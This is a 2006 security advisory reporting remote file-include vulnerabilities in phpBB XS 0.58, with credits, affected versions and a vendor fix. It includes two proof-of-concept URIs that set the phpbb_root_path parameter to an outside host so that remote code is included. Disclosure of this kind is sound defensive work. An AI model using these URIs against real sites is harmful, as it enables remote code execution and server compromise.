PhpBB XS Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20277
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 30 2006 12:00AM
Updated:	Nov 23 2006 10:40PM
Credit:	XORON and SHiKaA are credited with the discovery of these vulnerabilities.
Vulnerable:	phpBBXS phpBB XS 0.58
Not Vulnerable:	phpBBXS phpBBXS 0.58a

PhpBB XS Multiple Remote File Include Vulnerabilities

phpBB XS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpBB XS 0.58 and prior versions are affected by these issues.

PhpBB XS Multiple Remote File Include Vulnerabilities

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/includes/functions_kb.php?phpbb_root_path=http://www.example.com
http://www.example.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://www.example.com

PhpBB XS Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released an update to address this issue. Please see the references for more information.

PhpBB XS Multiple Remote File Include Vulnerabilities

References:

• 058 - 014 - KB Injection And Minor Fixe (Mighty Gorgon)
  
• Vendor Home Page (PHPBBXS)
  
• [[email protected]: Re: SolpotCrew Advisory #10 - phpBB XS (phpbb_root_path ([email protected])